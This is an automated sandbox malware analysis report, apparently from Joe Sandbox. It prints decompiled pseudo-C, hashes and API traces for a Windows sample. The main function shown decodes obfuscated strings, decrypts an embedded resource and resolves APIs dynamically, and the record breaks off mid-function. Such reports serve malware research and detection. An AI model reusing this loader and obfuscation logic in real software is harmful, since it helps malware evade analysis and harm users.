Instruction ID: d2b55955bc15a6e7ea0e2654f7c4de75b5bb33b86ecad95187507d65248e06c2
Opcode Fuzzy Hash: c190e038688333596cac6fbab27dacc48fc0c49509f4fcdaf9f0375e561d1ef5
Instruction Fuzzy Hash: BB11E975604A42AFE714AF249C18FF73B5AEB85750F048519FD829B341DB39AC06A760

Uniqueness

Uniqueness Score: -1.00%

Function 00F83680 Relevance: 6.1, APIs: 4, Instructions: 51
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F83680(void* __ecx) {
				void* _v8;
				struct tagMSG _v36;
				int _t8;
				struct HWND__* _t16;

				_v8 = __ecx;
				_t16 = 0;
				while(1) {
					_t8 = MsgWaitForMultipleObjects(1,  &_v8, 0, 0xffffffff, 0x4ff);
					if(_t8 == 0) {
						break;
					}
					if(PeekMessageA( &_v36, 0, 0, 0, 1) == 0) {
						continue;
					} else {
						do {
							if(_v36.message != 0x12) {
								DispatchMessageA( &_v36);
							} else {
								_t16 = 1;
							}
							_t8 = PeekMessageA( &_v36, 0, 0, 0, 1);
						} while (_t8 != 0);
						if(_t16 == 0) {
							continue;
						}
					}
					break;
				}
				return _t8;
			}

0x00f8368c
0x00f8368f
0x00f83691
0x00f8369f
0x00f836a7
0x00000000
0x00000000
0x00f836ba
0x00000000
0x00f836bc
0x00f836bc
0x00f836c0
0x00f836cb
0x00f836c2
0x00f836c4
0x00f836c4
0x00f836da
0x00f836e0
0x00f836e6
0x00000000
0x00000000
0x00f836e6
0x00000000
0x00f836ba
0x00f836ed

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 00F8369F
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00F836B2
DispatchMessageA.USER32(?), ref: 00F836CB
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00F836DA

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsWait
String ID:
API String ID: 2776232527-0
Opcode ID: 832eaf69142da6d810ebc03950e016d223c3909ef33070e75cf7afd06e772c1b
Instruction ID: 08420924679f50936865472e67414d024ad850c8cd23b359424f5f36ee18f569
Opcode Fuzzy Hash: 832eaf69142da6d810ebc03950e016d223c3909ef33070e75cf7afd06e772c1b
Instruction Fuzzy Hash: 7A01A772D0021877DB305BAA9C4CEEB777CEBC5F20F10012AFE05E2294E561C640EB61

Uniqueness

Uniqueness Score: -1.00%

Function 00F86517 Relevance: 6.1, APIs: 4, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00F86517(void* __ecx, CHAR* __edx, struct HWND__* _a4, _Unknown_base(*)()* _a8, intOrPtr _a12, int _a16) {
				struct HRSRC__* _t6;
				void* _t21;
				struct HINSTANCE__* _t23;
				int _t24;

				_t23 =  *0xf89a3c; // 0xf80000
				_t6 = FindResourceA(_t23, __edx, 5);
				if(_t6 == 0) {
					L6:
					E00F844B9(0, 0x4fb, 0, 0, 0x10, 0);
					_t24 = _a16;
				} else {
					_t21 = LoadResource(_t23, _t6);
					if(_t21 == 0) {
						goto L6;
					} else {
						if(_a12 != 0) {
							_push(_a12);
						} else {
							_push(0);
						}
						_t24 = DialogBoxIndirectParamA(_t23, _t21, _a4, _a8);
						FreeResource(_t21);
						if(_t24 == 0xffffffff) {
							goto L6;
						}
					}
				}
				return _t24;
			}

0x00f8651f
0x00f8652a
0x00f86534
0x00f8656b
0x00f86577
0x00f8657c
0x00f86536
0x00f8653e
0x00f86542
0x00000000
0x00f86544
0x00f86547
0x00f8654c
0x00f86549
0x00f86549
0x00f86549
0x00f8655e
0x00f86560
0x00f86569
0x00000000
0x00000000
0x00f86569
0x00f86542
0x00f86587

APIs

FindResourceA.KERNEL32(00F80000,000007D6,00000005), ref: 00F8652A
LoadResource.KERNEL32(00F80000,00000000,?,?,00F82EE8,00000000,00F819E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00F86538
DialogBoxIndirectParamA.USER32(00F80000,00000000,00000547,00F819E0,00000000), ref: 00F86557
FreeResource.KERNEL32(00000000,?,?,00F82EE8,00000000,00F819E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00F86560

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: Resource$DialogFindFreeIndirectLoadParam
String ID:
API String ID: 1214682469-0
Opcode ID: c8bcdb0e43b1f7c0add6ed61c70baafe9e144c3ee17388a5bc395fcf375bc0be
Instruction ID: 038db0188b6b6ecfeb8200b909a4f3424ee9bf7b758b181cf6235dbd9acd4c24
Opcode Fuzzy Hash: c8bcdb0e43b1f7c0add6ed61c70baafe9e144c3ee17388a5bc395fcf375bc0be
Instruction Fuzzy Hash: DB012672500609BBDB106FA99C08EFB7B6DEB85770F08012AFE00E7190D7758C10BBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F865E8 Relevance: 6.0, APIs: 4, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00F865E8(char* __ecx) {
				char _t3;
				char _t10;
				char* _t12;
				char* _t14;
				char* _t15;
				CHAR* _t16;

				_t12 = __ecx;
				_t15 = __ecx;
				_t14 =  &(__ecx[1]);
				_t10 = 0;
				do {
					_t3 =  *_t12;
					_t12 =  &(_t12[1]);
				} while (_t3 != 0);
				_push(CharPrevA(__ecx, _t12 - _t14 + __ecx));
				while(1) {
					_t16 = CharPrevA(_t15, ??);
					if(_t16 <= _t15) {
						break;
					}
					if( *_t16 == 0x5c) {
						L7:
						if(_t16 == _t15 ||  *(CharPrevA(_t15, _t16)) == 0x3a) {
							_t16 = CharNextA(_t16);
						}
						 *_t16 = _t10;
						_t10 = 1;
					} else {
						_push(_t16);
						continue;
					}
					L11:
					return _t10;
				}
				if( *_t16 == 0x5c) {
					goto L7;
				}
				goto L11;
			}

0x00f865e8
0x00f865ed
0x00f865ef
0x00f865f2
0x00f865f4
0x00f865f4
0x00f865f6
0x00f865f7
0x00f86608
0x00f86611
0x00f86618
0x00f8661c
0x00000000
0x00000000
0x00f8660e
0x00f86623
0x00f86625
0x00f8663b
0x00f8663b
0x00f8663d
0x00f86641
0x00f86610
0x00f86610
0x00000000
0x00f86610
0x00f86644
0x00f86647
0x00f86647
0x00f86621
0x00000000
0x00000000
0x00000000

APIs

CharPrevA.USER32(?,00000000,00000000,00000001,00000000,00F82B33), ref: 00F86602
CharPrevA.USER32(?,00000000), ref: 00F86612
CharPrevA.USER32(?,00000000), ref: 00F86629
CharNextA.USER32(00000000), ref: 00F86635

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: Char$Prev$Next
String ID:
API String ID: 3260447230-0
Opcode ID: 95a30be76d7a37c4ae2dcc1a5f5bc2b1f06fb563fe469f0a4508d274fa917753
Instruction ID: 299e924a534fcbca7eb75718cccfd759b86cc50cca99043f17e5d2ca433e4bf5
Opcode Fuzzy Hash: 95a30be76d7a37c4ae2dcc1a5f5bc2b1f06fb563fe469f0a4508d274fa917753
Instruction Fuzzy Hash: 45F028328045D06EE7322B288CCC9FBBF9CCF87374B2901AFE491D6001E6150D06AB62

Uniqueness

Uniqueness Score: -1.00%

Function 00F869B0 Relevance: 6.0, APIs: 4, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F869B0() {
				intOrPtr* _t4;
				intOrPtr* _t5;
				void* _t6;
				intOrPtr _t11;
				intOrPtr _t12;

				 *0xf881f8 = E00F86C70();
				__set_app_type(E00F86FBE(2));
				 *0xf888a4 =  *0xf888a4 | 0xffffffff;
				 *0xf888a8 =  *0xf888a8 | 0xffffffff;
				_t4 = __p__fmode();
				_t11 =  *0xf88528; // 0x0
				 *_t4 = _t11;
				_t5 = __p__commode();
				_t12 =  *0xf8851c; // 0x0
				 *_t5 = _t12;
				_t6 = E00F87000();
				if( *0xf88000 == 0) {
					__setusermatherr(E00F87000);
				}
				E00F871EF(_t6);
				return 0;
			}

0x00f869b7
0x00f869c2
0x00f869c8
0x00f869cf
0x00f869d8
0x00f869de
0x00f869e4
0x00f869e6
0x00f869ec
0x00f869f2
0x00f869f4
0x00f86a00
0x00f86a07
0x00f86a0d
0x00f86a0e
0x00f86a15

APIs

Part of subcall function 00F86FBE: GetModuleHandleW.KERNEL32(00000000), ref: 00F86FC5

__set_app_type.MSVCRT ref: 00F869C2
__p__fmode.MSVCRT ref: 00F869D8
__p__commode.MSVCRT ref: 00F869E6
__setusermatherr.MSVCRT ref: 00F86A07

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: HandleModule__p__commode__p__fmode__set_app_type__setusermatherr
String ID:
API String ID: 1632413811-0
Opcode ID: 403a9108639fcebffffdcf7a6fa3cd8571ea49ab9ad0cb62caf12369bba4c551
Instruction ID: f50726348e5ae571c8d528ac3aaccc42d652a483433e80a023c1e25af142567b
Opcode Fuzzy Hash: 403a9108639fcebffffdcf7a6fa3cd8571ea49ab9ad0cb62caf12369bba4c551
Instruction Fuzzy Hash: BAF098745093098FDB68BB34BD0E6E43B61FB05371B60061AE461862E5CF3ED546BB16

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: amMl.exePID: 2508, Parent PID: 5132COMMON

Execution Graph

Execution Coverage:	3.7%
Dynamic/Decrypted Code Coverage:	30.8%
Signature Coverage:	14%
Total number of Nodes:	399
Total number of Limit Nodes:	39

Executed Functions

Function 004019F0 Relevance: 147.7, APIs: 34, Strings: 50, Instructions: 747
comprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E004019F0(void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t337;
				void* _t340;
				int _t341;
				CHAR* _t344;
				intOrPtr* _t349;
				int _t350;
				long _t352;
				signed int _t354;
				intOrPtr _t358;
				long _t359;
				CHAR* _t364;
				struct HINSTANCE__* _t365;
				CHAR* _t366;
				_Unknown_base(*)()* _t367;
				int _t368;
				int _t369;
				int _t370;
				intOrPtr* _t376;
				int _t378;
				intOrPtr _t379;
				intOrPtr* _t381;
				int _t383;
				intOrPtr* _t384;
				int _t385;
				int _t396;
				int _t399;
				int _t402;
				int _t405;
				intOrPtr* _t407;
				int _t413;
				int _t415;
				void* _t421;
				int _t422;
				int _t424;
				intOrPtr* _t428;
				intOrPtr _t429;
				intOrPtr* _t431;
				int _t432;
				int _t435;
				intOrPtr* _t437;
				int _t438;
				intOrPtr* _t439;
				int _t440;
				int _t442;
				signed int _t448;
				signed int _t451;
				signed int _t452;
				int _t469;
				int _t471;
				int _t482;
				signed int _t486;
				intOrPtr* _t488;
				intOrPtr* _t490;
				intOrPtr* _t492;
				intOrPtr _t493;
				void* _t494;
				struct HRSRC__* _t497;
				void* _t514;
				int _t519;
				intOrPtr* _t520;
				void* _t524;
				void* _t525;
				struct HINSTANCE__* _t526;
				intOrPtr _t527;
				void* _t531;
				void* _t535;
				struct HRSRC__* _t536;
				intOrPtr* _t537;
				intOrPtr* _t539;
				int _t542;
				int _t543;
				intOrPtr* _t547;
				intOrPtr* _t548;
				intOrPtr* _t549;
				intOrPtr* _t550;
				void* _t551;
				intOrPtr _t552;
				int _t555;
				void* _t556;
				void* _t557;
				void* _t558;
				void* _t559;
				void* _t560;
				void* _t561;
				void* _t562;
				intOrPtr* _t563;
				void* _t564;
				void* _t565;
				void* _t566;
				void* _t567;

				_t567 = __eflags;
				_t494 = __edx;
				__imp__OleInitialize(0); // executed
				 *((char*)(_t556 + 0x18)) = 0xe0;
				 *((char*)(_t556 + 0x19)) = 0x3b;
				 *((char*)(_t556 + 0x1a)) = 0x8d;
				 *((char*)(_t556 + 0x1b)) = 0x2a;
				 *((char*)(_t556 + 0x1c)) = 0xa2;
				 *((char*)(_t556 + 0x1d)) = 0x2a;
				 *((char*)(_t556 + 0x1e)) = 0x2a;
				 *((char*)(_t556 + 0x1f)) = 0x41;
				 *((char*)(_t556 + 0x20)) = 0xd3;
				 *((char*)(_t556 + 0x21)) = 0x20;
				 *((char*)(_t556 + 0x22)) = 0x64;
				 *((char*)(_t556 + 0x23)) = 6;
				 *((char*)(_t556 + 0x24)) = 0x8a;
				 *((char*)(_t556 + 0x25)) = 0xf7;
				 *((char*)(_t556 + 0x26)) = 0x3d;
				 *((char*)(_t556 + 0x27)) = 0x9d;
				 *((char*)(_t556 + 0x28)) = 0xd9;
				 *((char*)(_t556 + 0x29)) = 0xee;
				 *((char*)(_t556 + 0x2a)) = 0x15;
				 *((char*)(_t556 + 0x2b)) = 0x68;
				 *((char*)(_t556 + 0x2c)) = 0xf4;
				 *((char*)(_t556 + 0x2d)) = 0x76;
				 *((char*)(_t556 + 0x2e)) = 0xb9;
				 *((char*)(_t556 + 0x2f)) = 0x34;
				 *((char*)(_t556 + 0x30)) = 0xbf;
				 *((char*)(_t556 + 0x31)) = 0x1e;
				 *((char*)(_t556 + 0x32)) = 0xe7;
				 *((char*)(_t556 + 0x33)) = 0x78;
				 *((char*)(_t556 + 0x34)) = 0x98;
				 *((char*)(_t556 + 0x35)) = 0xe9;
				 *((char*)(_t556 + 0x36)) = 0x6f;
				 *((char*)(_t556 + 0x37)) = 0xb4;
				 *((char*)(_t556 + 0x38)) = 0;
				_push(E00401650(_t556 + 0x14, _t556 + 0x114));
				_t337 = E0040B99E(0, _t494, _t524, _t535, _t567);
				_t557 = _t556 + 0xc;
				if(_t337 == 0x41b2a0) {
					L80:
					__eflags = 0;
					return 0;
				} else {
					_t340 = CreateToolhelp32Snapshot(8, GetCurrentProcessId()); // executed
					_t525 = _t340;
					 *((intOrPtr*)(_t557 + 0x280)) = 0x224;
					 *((char*)(_t557 + 0x64)) = 0xce;
					 *((char*)(_t557 + 0x65)) = 0x27;
					 *((char*)(_t557 + 0x66)) = 0x9c;
					 *((char*)(_t557 + 0x67)) = 0x1a;
					 *((char*)(_t557 + 0x68)) = 0x95;
					 *((char*)(_t557 + 0x69)) = 0x2e;
					 *((char*)(_t557 + 0x6a)) = 0x22;
					 *((char*)(_t557 + 0x6b)) = 0x57;
					 *((char*)(_t557 + 0x6c)) = 0x91;
					 *((char*)(_t557 + 0x6d)) = 0x21;
					 *((char*)(_t557 + 0x6e)) = 0x57;
					 *((char*)(_t557 + 0x6f)) = 0x3a;
					 *((char*)(_t557 + 0x70)) = 0xf8;
					 *((char*)(_t557 + 0x71)) = 0x98;
					 *((char*)(_t557 + 0x72)) = 0x5b;
					 *((char*)(_t557 + 0x73)) = 0xf4;
					 *((char*)(_t557 + 0x74)) = 0xb5;
					 *((char*)(_t557 + 0x75)) = 0x87;
					 *((char*)(_t557 + 0x76)) = 0x7b;
					 *((char*)(_t557 + 0x77)) = 0xf;
					 *((char*)(_t557 + 0x78)) = 0xf4;
					 *((char*)(_t557 + 0x79)) = 0x76;
					 *((char*)(_t557 + 0x7a)) = 0xb9;
					 *((char*)(_t557 + 0x7b)) = 0x34;
					 *((char*)(_t557 + 0x7c)) = 0xbf;
					 *((char*)(_t557 + 0x7d)) = 0x1e;
					 *((char*)(_t557 + 0x7e)) = 0xe7;
					 *((char*)(_t557 + 0x7f)) = 0x78;
					 *((char*)(_t557 + 0x80)) = 0x98;
					 *((char*)(_t557 + 0x81)) = 0xe9;
					 *((char*)(_t557 + 0x82)) = 0x6f;
					 *((char*)(_t557 + 0x83)) = 0xb4;
					 *((char*)(_t557 + 0x84)) = 0;
					 *((char*)(_t557 + 0x18)) = 0xc0;
					 *((char*)(_t557 + 0x19)) = 0x38;
					 *((char*)(_t557 + 0x1a)) = 0x8d;
					 *((char*)(_t557 + 0x1b)) = 0x1f;
					 *((char*)(_t557 + 0x1c)) = 0x8e;
					 *((char*)(_t557 + 0x1d)) = 0x30;
					 *((char*)(_t557 + 0x1e)) = 0x65;
					 *((char*)(_t557 + 0x1f)) = 0x47;
					 *((char*)(_t557 + 0x20)) = 0xd3;
					 *((char*)(_t557 + 0x21)) = 0x29;
					 *((char*)(_t557 + 0x22)) = 0x3b;
					 *((char*)(_t557 + 0x23)) = 0x56;
					 *((char*)(_t557 + 0x24)) = 0xf8;
					 *((char*)(_t557 + 0x25)) = 0x98;
					 *((char*)(_t557 + 0x26)) = 0x5b;
					 *((char*)(_t557 + 0x27)) = 0xf4;
					 *((char*)(_t557 + 0x28)) = 0xb5;
					 *((char*)(_t557 + 0x29)) = 0x87;
					 *((char*)(_t557 + 0x2a)) = 0x7b;
					 *((char*)(_t557 + 0x2b)) = 0xf;
					 *((char*)(_t557 + 0x2c)) = 0xf4;
					 *((char*)(_t557 + 0x2d)) = 0x76;
					 *((char*)(_t557 + 0x2e)) = 0xb9;
					 *((char*)(_t557 + 0x2f)) = 0x34;
					 *((char*)(_t557 + 0x30)) = 0xbf;
					 *((char*)(_t557 + 0x31)) = 0x1e;
					 *((char*)(_t557 + 0x32)) = 0xe7;
					 *((char*)(_t557 + 0x33)) = 0x78;
					 *((char*)(_t557 + 0x34)) = 0x98;
					 *((char*)(_t557 + 0x35)) = 0xe9;
					 *((char*)(_t557 + 0x36)) = 0x6f;
					 *((char*)(_t557 + 0x37)) = 0xb4;
					 *((char*)(_t557 + 0x38)) = 0;
					_t341 = Module32First(_t525, _t557 + 0x278); // executed
					if(_t341 == 0) {
						L38:
						CloseHandle(_t525);
						_t526 = GetModuleHandleA(0);
						 *((char*)(_t557 + 0x1c)) = 0xfc;
						 *((char*)(_t557 + 0x1d)) = 0xb;
						 *((char*)(_t557 + 0x1e)) = 0xff;
						 *((char*)(_t557 + 0x1f)) = 0x75;
						 *((char*)(_t557 + 0x20)) = 0xe7;
						 *((char*)(_t557 + 0x21)) = 0x44;
						 *((char*)(_t557 + 0x22)) = 0x4b;
						 *((char*)(_t557 + 0x23)) = 0x23;
						 *((char*)(_t557 + 0x24)) = 0xbf;
						 *((char*)(_t557 + 0x25)) = 0x45;
						 *((char*)(_t557 + 0x26)) = 0x3b;
						 *((char*)(_t557 + 0x27)) = 0x56;
						 *((char*)(_t557 + 0x28)) = 0xf8;
						 *((char*)(_t557 + 0x29)) = 0x98;
						 *((char*)(_t557 + 0x2a)) = 0x5b;
						 *((char*)(_t557 + 0x2b)) = 0xf4;
						 *((char*)(_t557 + 0x2c)) = 0xb5;
						 *((char*)(_t557 + 0x2d)) = 0x87;
						 *((char*)(_t557 + 0x2e)) = 0x7b;
						 *((char*)(_t557 + 0x2f)) = 0xf;
						 *((char*)(_t557 + 0x30)) = 0xf4;
						 *((char*)(_t557 + 0x31)) = 0x76;
						 *((char*)(_t557 + 0x32)) = 0xb9;
						 *((char*)(_t557 + 0x33)) = 0x34;
						 *((char*)(_t557 + 0x34)) = 0xbf;
						 *((char*)(_t557 + 0x35)) = 0x1e;
						 *((char*)(_t557 + 0x36)) = 0xe7;
						 *((char*)(_t557 + 0x37)) = 0x78;
						 *((char*)(_t557 + 0x38)) = 0x98;
						 *((char*)(_t557 + 0x39)) = 0xe9;
						 *((char*)(_t557 + 0x3a)) = 0x6f;
						 *((char*)(_t557 + 0x3b)) = 0xb4;
						 *((char*)(_t557 + 0x3c)) = 0;
						_t344 = E00401650(_t557 + 0x18, _t557 + 0x158);
						_t558 = _t557 + 8;
						_t536 = FindResourceA(_t526, _t344, 0xa);
						 *(_t558 + 0x50) = _t536;
						_t551 = LoadResource(_t526, _t536);
						 *((intOrPtr*)(_t558 + 0x44)) = LockResource(_t551);
						_t349 = E0040B84D(0, _t557 + 0x18, _t526, SizeofResource(_t526, _t536)); // executed
						_push(0x40022);
						_t537 = _t349; // executed
						_t350 = E0040AF66(0, _t526, __eflags); // executed
						_t559 = _t558 + 8;
						 *(_t559 + 0x34) = _t350;
						__eflags = _t350;
						if(_t350 == 0) {
							 *(_t559 + 0x50) = 0;
						} else {
							E0040BA30(_t526, _t350, 0, 0x40022);
							_t486 =  *(_t559 + 0x40);
							_t559 = _t559 + 0xc;
							 *(_t559 + 0x50) = _t486;
						}
						E00401300( *(_t559 + 0x50));
						_t497 =  *(_t559 + 0x48);
						_t352 = SizeofResource(_t526, _t497);
						 *(_t559 + 0x40) = _t352;
						asm("cdq");
						_t354 = _t352 + (_t497 & 0x000003ff) >> 0xa;
						__eflags = _t354;
						if(_t354 > 0) {
							_t519 =  *(_t559 + 0x3c);
							_t482 = _t537 - _t519;
							__eflags = _t482;
							 *(_t559 + 0x34) = _t519;
							 *(_t559 + 0x88) = _t482;
							 *(_t559 + 0x38) = _t354;
							do {
								_t424 =  *(_t559 + 0x34);
								_push( *(_t559 + 0x88) + _t424);
								_push(0x400);
								_push(_t424);
								E00401560(0,  *((intOrPtr*)(_t559 + 0x54)));
								 *(_t559 + 0x34) =  *(_t559 + 0x34) + 0x400;
								_t179 = _t559 + 0x38;
								 *_t179 =  *(_t559 + 0x38) - 1;
								__eflags =  *_t179;
							} while ( *_t179 != 0);
						}
						_t448 =  *(_t559 + 0x40) & 0x800003ff;
						__eflags = _t448;
						if(_t448 < 0) {
							_t448 = (_t448 - 0x00000001 | 0xfffffc00) + 1;
							__eflags = _t448;
						}
						__eflags = _t448;
						if(_t448 > 0) {
							_t421 =  *(_t559 + 0x40) - _t448;
							_push(_t421 + _t537);
							_push(_t448);
							_t422 = _t421 +  *((intOrPtr*)(_t559 + 0x44));
							__eflags = _t422;
							_push(_t422);
							E00401560(0,  *((intOrPtr*)(_t559 + 0x58)));
						}
						E0040BA30(_t526,  *(_t559 + 0x3c), 0,  *(_t559 + 0x40));
						_t560 = _t559 + 0xc;
						FreeResource(_t551);
						_t552 =  *_t537;
						 *((intOrPtr*)(_t560 + 0x94)) = _t552;
						_t358 = E0040B84D(0,  *(_t559 + 0x40), _t526, _t552); // executed
						_t561 = _t560 + 4;
						 *((intOrPtr*)(_t561 + 0x40)) = _t358;
						_t359 = SizeofResource(_t526,  *(_t560 + 0x4c));
						_t527 =  *((intOrPtr*)(_t561 + 0x38));
						_t192 = _t537 + 4; // 0x4
						E0040AC60(_t527, _t561 + 0x98, _t192, _t359);
						E0040BA30(_t527, _t537, 0,  *((intOrPtr*)(_t561 + 0x50)));
						_t528 = _t527 + 0xe;
						 *((char*)(_t561 + 0x34)) = 0xce;
						 *((char*)(_t561 + 0x35)) = 0x27;
						 *((char*)(_t561 + 0x36)) = 0x9c;
						 *((char*)(_t561 + 0x37)) = 0x1a;
						 *((char*)(_t561 + 0x38)) = 0x95;
						 *((char*)(_t561 + 0x39)) = 0x21;
						 *((char*)(_t561 + 0x3a)) = 0x2e;
						 *((char*)(_t561 + 0x3b)) = 0xd;
						 *((char*)(_t561 + 0x3c)) = 0xdb;
						 *((char*)(_t561 + 0x3d)) = 0x29;
						 *((char*)(_t561 + 0x3e)) = 0x57;
						 *((char*)(_t561 + 0x3f)) = 0x56;
						 *((char*)(_t561 + 0x40)) = 0xf8;
						 *((char*)(_t561 + 0x41)) = 0x98;
						 *((char*)(_t561 + 0x42)) = 0x5b;
						 *((char*)(_t561 + 0x43)) = 0xf4;
						 *((char*)(_t561 + 0x44)) = 0xb5;
						 *((char*)(_t561 + 0x45)) = 0x87;
						 *((char*)(_t561 + 0x46)) = 0x7b;
						 *((char*)(_t561 + 0x47)) = 0xf;
						 *((char*)(_t561 + 0x48)) = 0xf4;
						 *((char*)(_t561 + 0x49)) = 0x76;
						 *((char*)(_t561 + 0x4a)) = 0xb9;
						 *((char*)(_t561 + 0x4b)) = 0x34;
						 *((char*)(_t561 + 0x4c)) = 0xbf;
						 *((char*)(_t561 + 0x4d)) = 0x1e;
						 *((char*)(_t561 + 0x4e)) = 0xe7;
						 *((char*)(_t561 + 0x4f)) = 0x78;
						 *((char*)(_t561 + 0x50)) = 0x98;
						 *((char*)(_t561 + 0x51)) = 0xe9;
						 *((char*)(_t561 + 0x52)) = 0x6f;
						 *((char*)(_t561 + 0x53)) = 0xb4;
						 *((char*)(_t561 + 0x54)) = 0;
						_t364 = E00401650(_t561 + 0x30, _t561 + 0x110);
						_t562 = _t561 + 0x24;
						_t365 = LoadLibraryA(_t364); // executed
						_t538 = _t365;
						 *((char*)(_t562 + 0x10)) = 0xe0;
						 *((char*)(_t562 + 0x11)) = 0x18;
						 *((char*)(_t562 + 0x12)) = 0xad;
						 *((char*)(_t562 + 0x13)) = 0x36;
						 *((char*)(_t562 + 0x14)) = 0x95;
						 *((char*)(_t562 + 0x15)) = 0x21;
						_t451 = _t562 + 0x134;
						 *((char*)(_t562 + 0x1e)) = 0x2a;
						 *((char*)(_t562 + 0x1f)) = 0x57;
						 *((char*)(_t562 + 0x20)) = 0xda;
						 *((char*)(_t562 + 0x21)) = 0xc;
						 *((char*)(_t562 + 0x22)) = 0x55;
						 *((char*)(_t562 + 0x23)) = 0x25;
						 *((char*)(_t562 + 0x24)) = 0x8c;
						 *((char*)(_t562 + 0x25)) = 0xf9;
						 *((char*)(_t562 + 0x26)) = 0x35;
						 *((char*)(_t562 + 0x27)) = 0x97;
						 *((char*)(_t562 + 0x28)) = 0xd0;
						 *((char*)(_t562 + 0x29)) = 0x87;
						 *((char*)(_t562 + 0x2a)) = 0x7b;
						 *((char*)(_t562 + 0x2b)) = 0xf;
						 *((char*)(_t562 + 0x2c)) = 0xf4;
						 *((char*)(_t562 + 0x2d)) = 0x76;
						 *((char*)(_t562 + 0x2e)) = 0xb9;
						 *((char*)(_t562 + 0x2f)) = 0x34;
						 *((char*)(_t562 + 0x30)) = 0xbf;
						 *((char*)(_t562 + 0x31)) = 0x1e;
						 *((char*)(_t562 + 0x32)) = 0xe7;
						 *((char*)(_t562 + 0x33)) = 0x78;
						 *((char*)(_t562 + 0x34)) = 0x98;
						 *((char*)(_t562 + 0x35)) = 0xe9;
						 *((char*)(_t562 + 0x36)) = 0x6f;
						 *((char*)(_t562 + 0x37)) = 0xb4;
						 *((char*)(_t562 + 0x38)) = 0;
						_t366 = E00401650(_t562 + 0x14, _t451);
						_t563 = _t562 + 8;
						_t367 = GetProcAddress(_t365, _t366);
						__eflags = _t367;
						_t452 = _t451 & 0xffffff00 | _t367 != 0x00000000;
						__eflags = _t452;
						 *(_t563 + 0x47) = _t452 == 0;
						 *0x423480 = _t367;
						 *((intOrPtr*)(_t563 + 0x80)) = 0;
						 *((intOrPtr*)(_t563 + 0x84)) = 0;
						 *((intOrPtr*)(_t563 + 0x4c)) = 0;
						 *(_t563 + 0x58) = 0;
						 *(_t563 + 0x54) = 0;
						__eflags = _t452;
						if(_t452 != 0) {
							_t368 =  *_t367(0x41b230, 0x41b220, _t563 + 0x80); // executed
							__eflags = _t368;
							if(_t368 >= 0) {
								__eflags =  *(_t563 + 0x47);
								if( *(_t563 + 0x47) == 0) {
									 *((intOrPtr*)(_t563 + 0x17c)) = _t563 + 0x17c;
									E004018F0( *((intOrPtr*)(_t563 + 0x38)), _t563 + 0x17c, _t563 + 0x17c,  *((intOrPtr*)(_t563 + 0x38)), 3);
									_t376 =  *((intOrPtr*)(_t563 + 0x80));
									_t378 =  *((intOrPtr*)( *((intOrPtr*)( *_t376 + 0xc))))(_t376,  *((intOrPtr*)(_t563 + 0x178)), 0x41b240, _t563 + 0x84); // executed
									__eflags = _t378;
									if(_t378 >= 0) {
										_t381 =  *((intOrPtr*)(_t563 + 0x84));
										_t383 =  *((intOrPtr*)( *((intOrPtr*)( *_t381 + 0x24))))(_t381, 0x41b210, 0x41b290, _t563 + 0x4c); // executed
										__eflags = _t383;
										if(_t383 >= 0) {
											_t384 =  *((intOrPtr*)(_t563 + 0x4c));
